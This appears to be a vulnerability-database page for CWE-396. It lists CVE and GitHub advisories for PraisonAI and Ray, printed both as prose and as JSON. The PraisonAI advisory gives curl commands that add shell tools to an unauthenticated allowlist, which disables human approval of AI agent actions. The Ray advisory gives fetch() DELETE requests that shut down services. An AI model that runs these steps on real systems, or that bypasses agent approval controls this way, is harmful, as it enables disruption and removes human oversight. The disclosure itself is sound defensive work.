CWE-396
AllowedDeclaration of Catch for Generic Exception
Abstraction: Base · Status: Draft
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
4 vulnerabilities reference this CWE, most recent first.
CVE-2026-40149 (GCVE-0-2026-40149)
Vulnerability from cvelistv5 – Published: 2026-04-09 21:23 – Updated: 2026-04-13 15:37- CWE-396 - Declaration of Catch for Generic Exception
| URL | Tags |
|---|---|
| https://github.com/MervinPraison/PraisonAI/securi… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| MervinPraison | PraisonAI |
Affected:
< 4.5.128
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-40149",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-13T15:28:35.686522Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-13T15:37:53.846Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "PraisonAI",
"vendor": "MervinPraison",
"versions": [
{
"status": "affected",
"version": "\u003c 4.5.128"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway\u0027s /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.9,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-396",
"description": "CWE-396: Declaration of Catch for Generic Exception",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-09T21:28:40.771Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh"
}
],
"source": {
"advisory": "GHSA-4wr3-f4p3-5wjh",
"discovery": "UNKNOWN"
},
"title": "PraisonAI has an Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-40149",
"datePublished": "2026-04-09T21:23:03.831Z",
"dateReserved": "2026-04-09T19:31:56.013Z",
"dateUpdated": "2026-04-13T15:37:53.846Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-27482 (GCVE-0-2026-27482)
Vulnerability from cvelistv5 – Published: 2026-02-21 09:18 – Updated: 2026-02-24 18:52- CWE-396 - Declaration of Catch for Generic Exception
| URL | Tags |
|---|---|
| https://github.com/ray-project/ray/security/advis… | x_refsource_CONFIRM |
| https://github.com/ray-project/ray/pull/60526 | x_refsource_MISC |
| https://github.com/ray-project/ray/commit/0fda8b8… | x_refsource_MISC |
| https://github.com/ray-project/ray/releases/tag/r… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| ray-project | ray |
Affected:
< 2.54.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-27482",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-24T18:51:47.465400Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-24T18:52:03.874Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "ray",
"vendor": "ray-project",
"versions": [
{
"status": "affected",
"version": "\u003c 2.54.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Ray is an AI compute engine. In versions 2.53.0 and below, thedashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact. The fix for this vulnerability is to update to Ray 2.54.0 or higher."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-396",
"description": "CWE-396: Declaration of Catch for Generic Exception",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-21T09:18:26.027Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ray-project/ray/security/advisories/GHSA-q5fh-2hc8-f6rq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q5fh-2hc8-f6rq"
},
{
"name": "https://github.com/ray-project/ray/pull/60526",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ray-project/ray/pull/60526"
},
{
"name": "https://github.com/ray-project/ray/commit/0fda8b824cdc9dc6edd763bb28dfd7d1cc9b02a4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ray-project/ray/commit/0fda8b824cdc9dc6edd763bb28dfd7d1cc9b02a4"
},
{
"name": "https://github.com/ray-project/ray/releases/tag/ray-2.54.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ray-project/ray/releases/tag/ray-2.54.0"
}
],
"source": {
"advisory": "GHSA-q5fh-2hc8-f6rq",
"discovery": "UNKNOWN"
},
"title": "Ray: Dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-27482",
"datePublished": "2026-02-21T09:18:26.027Z",
"dateReserved": "2026-02-19T19:46:03.540Z",
"dateUpdated": "2026-02-24T18:52:03.874Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-4WR3-F4P3-5WJH
Vulnerability from github – Published: 2026-04-10 19:24 – Updated: 2026-04-10 19:24Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
1. Attacker POSTs {"tool_name": "shell_exec"} to /api/approval/allow-list
2. _check_auth() returns None (no auth token configured)
3. _approval_mgr.allowlist.add("shell_exec") adds to the PermissionAllowlist set
4. Agent later calls shell_exec → GatewayApprovalBackend.request_approval() → ExecApprovalManager.register()
5. register() hits the fast path: "shell_exec" in self.allowlist → True
6. Returns Resolution(approved=True) — no human review occurs
7. Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.
- Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.
- Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.
- Local attack surface: Default binding to
127.0.0.1limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.
Recommended Fix
The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:
Option A: Require auth_token for approval endpoints (recommended)
# server.py - modify _check_auth or add a separate check for approval endpoints
def _check_auth_required(request) -> Optional[JSONResponse]:
"""Validate auth token - ALWAYS required for security-critical endpoints."""
if not self.config.auth_token:
return JSONResponse(
{"error": "auth_token must be configured to use approval endpoints"},
status_code=403,
)
return _check_auth(request)
# Then in approval_allowlist():
async def approval_allowlist(request):
auth_err = _check_auth_required(request) # Always require auth
if auth_err:
return auth_err
Option B: Restrict allowlist additions to known safe tools
# exec_approval.py - add a tool safety classification
ALLOWLIST_BLOCKED_TOOLS = {"shell_exec", "file_write", "code_execution", "bash", "terminal"}
# server.py - validate tool_name before adding
if tool_name in ALLOWLIST_BLOCKED_TOOLS:
return JSONResponse(
{"error": f"'{tool_name}' cannot be added to allow-list (high-risk tool)"},
status_code=403,
)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40149"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-396"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:24:11Z",
"nvd_published_at": "2026-04-09T22:16:35Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe gateway\u0027s `/api/approval/allow-list` endpoint permits unauthenticated modification of the tool approval allowlist when no `auth_token` is configured (the default). By adding dangerous tool names (e.g., `shell_exec`, `file_write`) to the allowlist, an attacker can cause the `ExecApprovalManager` to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.\n\n## Details\n\nThe vulnerability arises from the interaction of three components:\n\n**1. Authentication bypass in default config**\n\n`_check_auth()` in `server.py:243-246` returns `None` (no error) when `self.config.auth_token` is falsy:\n\n```python\n# server.py:243-246\ndef _check_auth(request) -\u003e Optional[JSONResponse]:\n if not self.config.auth_token:\n return None # No auth configured \u2192 allow everything\n```\n\n`GatewayConfig` defaults `auth_token` to `None` (`config.py:61`):\n\n```python\n# config.py:61\nauth_token: Optional[str] = None\n```\n\n**2. Unrestricted allowlist modification**\n\nThe `approval_allowlist` handler at `server.py:381-420` calls `_check_auth()` and proceeds when it returns `None`:\n\n```python\n# server.py:388-410\nauth_err = _check_auth(request)\nif auth_err:\n return auth_err\n# ...\nif request.method == \"POST\":\n _approval_mgr.allowlist.add(tool_name) # No validation on tool_name\n return JSONResponse({\"added\": tool_name})\n```\n\nThere is no validation that `tool_name` corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.\n\n**3. Auto-approval fast path**\n\nWhen `GatewayApprovalBackend.request_approval()` is called by an agent (`gateway_approval.py:87`), it calls `ExecApprovalManager.register()`, which checks the allowlist first (`exec_approval.py:141-144`):\n\n```python\n# exec_approval.py:140-144\n# Fast path: already permanently allowed\nif tool_name in self.allowlist:\n future.set_result(Resolution(approved=True, reason=\"allow-always\"))\n return (\"auto\", future)\n```\n\nThe tool executes immediately without any human review.\n\n**Complete data flow:**\n1. Attacker POSTs `{\"tool_name\": \"shell_exec\"}` to `/api/approval/allow-list`\n2. `_check_auth()` returns `None` (no auth token configured)\n3. `_approval_mgr.allowlist.add(\"shell_exec\")` adds to the `PermissionAllowlist` set\n4. Agent later calls `shell_exec` \u2192 `GatewayApprovalBackend.request_approval()` \u2192 `ExecApprovalManager.register()`\n5. `register()` hits the fast path: `\"shell_exec\" in self.allowlist` \u2192 `True`\n6. Returns `Resolution(approved=True)` \u2014 no human review occurs\n7. Agent executes the dangerous tool\n\n## PoC\n\n```bash\n# Step 1: Verify the gateway is running with default config (no auth)\ncurl http://127.0.0.1:8765/health\n# Response: {\"status\": \"healthy\", ...}\n\n# Step 2: Check current allow-list (empty by default)\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": []}\n\n# Step 3: Add dangerous tools to allow-list without authentication\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\": \"shell_exec\"}\u0027\n# Response: {\"added\": \"shell_exec\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\": \"file_write\"}\u0027\n# Response: {\"added\": \"file_write\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"tool_name\": \"code_execution\"}\u0027\n# Response: {\"added\": \"code_execution\"}\n\n# Step 4: Verify tools are now permanently auto-approved\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": [\"code_execution\", \"file_write\", \"shell_exec\"]}\n\n# Step 5: Any agent using GatewayApprovalBackend will now auto-approve\n# these tools via ExecApprovalManager.register() fast path at\n# exec_approval.py:141 without human review.\n```\n\n## Impact\n\n- **Bypasses human-in-the-loop safety controls**: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.\n- **Enables arbitrary agent tool execution**: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.\n- **Persistent within process**: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.\n- **Local attack surface**: Default binding to `127.0.0.1` limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user\u0027s browser.\n\n## Recommended Fix\n\nThe approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:\n\n**Option A: Require auth_token for approval endpoints (recommended)**\n\n```python\n# server.py - modify _check_auth or add a separate check for approval endpoints\ndef _check_auth_required(request) -\u003e Optional[JSONResponse]:\n \"\"\"Validate auth token - ALWAYS required for security-critical endpoints.\"\"\"\n if not self.config.auth_token:\n return JSONResponse(\n {\"error\": \"auth_token must be configured to use approval endpoints\"},\n status_code=403,\n )\n return _check_auth(request)\n\n# Then in approval_allowlist():\nasync def approval_allowlist(request):\n auth_err = _check_auth_required(request) # Always require auth\n if auth_err:\n return auth_err\n```\n\n**Option B: Restrict allowlist additions to known safe tools**\n\n```python\n# exec_approval.py - add a tool safety classification\nALLOWLIST_BLOCKED_TOOLS = {\"shell_exec\", \"file_write\", \"code_execution\", \"bash\", \"terminal\"}\n\n# server.py - validate tool_name before adding\nif tool_name in ALLOWLIST_BLOCKED_TOOLS:\n return JSONResponse(\n {\"error\": f\"\u0027{tool_name}\u0027 cannot be added to allow-list (high-risk tool)\"},\n status_code=403,\n )\n```",
"id": "GHSA-4wr3-f4p3-5wjh",
"modified": "2026-04-10T19:24:11Z",
"published": "2026-04-10T19:24:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40149"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls"
}
GHSA-Q5FH-2HC8-F6RQ
Vulnerability from github – Published: 2026-02-20 21:15 – Updated: 2026-02-23 22:30Summary
Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.
### Details
- Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.
- Endpoints lacking browser protection/auth by default:
- python/ray/dashboard/modules/serve/serve_head.py: @routes.delete("/api/serve/applications/") calls serve.shutdown().
- python/ray/dashboard/modules/job/job_head.py: @routes.delete("/api/jobs/{job_or_submission_id}").
- python/ray/dashboard/modules/job/job_agent.py: @routes.delete("/api/job_agent/jobs/{job_or_submission_id}") (not wrapped with deny_browser_requests either).
- Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.
### PoC
Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.
- Start Serve (or have jobs present).
- From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:
fetch("http://<dashboard-host>:8265/api/serve/applications/", {
method: "DELETE",
headers: { "User-Agent": "Mozilla/5.0" } // browsers set this automatically
});
Result: Serve shuts down. 3) Similarly, delete jobs:
fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });
fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });
Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.
### Impact
- Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).
- No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints.
Fix
The fix for this vulnerability is to update to Ray 2.54.0 or higher.
Fix PR: https://github.com/ray-project/ray/pull/60526
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ray"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27482"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-396"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-20T21:15:25Z",
"nvd_published_at": "2026-02-21T10:16:12Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n Ray\u2019s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can\n issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.\n\n ### Details\n\n - Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.\n - Endpoints lacking browser protection/auth by default:\n - python/ray/dashboard/modules/serve/serve_head.py: @routes.delete(\"/api/serve/applications/\") calls serve.shutdown().\n - python/ray/dashboard/modules/job/job_head.py: @routes.delete(\"/api/jobs/{job_or_submission_id}\").\n - python/ray/dashboard/modules/job/job_agent.py: @routes.delete(\"/api/job_agent/jobs/{job_or_submission_id}\") (not wrapped with deny_browser_requests either).\n - Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.\n\n ### PoC\n\n Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.\n\n 1. Start Serve (or have jobs present).\n 2. From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:\n\n``` \nfetch(\"http://\u003cdashboard-host\u003e:8265/api/serve/applications/\", {\n method: \"DELETE\",\n headers: { \"User-Agent\": \"Mozilla/5.0\" } // browsers set this automatically\n });\n```\n\n Result: Serve shuts down.\n 3) Similarly, delete jobs:\n\n ` fetch(\"http://\u003cdashboard-host\u003e:8265/api/jobs/\u003cjob_or_submission_id\u003e\", { method: \"DELETE\" });`\n ` fetch(\"http://\u003cdashboard-agent\u003e:52365/api/job_agent/jobs/\u003cjob_or_submission_id\u003e\", { method: \"DELETE\" });`\n\n Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.\n\n ### Impact\n\n - Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).\n - No code execution from this vector, but breaks isolation/trust assumptions for \u201cdeveloper-only\u201d endpoints.\n \n### Fix\nThe fix for this vulnerability is to update to Ray 2.54.0 or higher. \n\nFix PR: https://github.com/ray-project/ray/pull/60526",
"id": "GHSA-q5fh-2hc8-f6rq",
"modified": "2026-02-23T22:30:32Z",
"published": "2026-02-20T21:15:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q5fh-2hc8-f6rq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27482"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/pull/60526"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/commit/0fda8b824cdc9dc6edd763bb28dfd7d1cc9b02a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/ray-project/ray"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/releases/tag/ray-2.54.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Ray dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.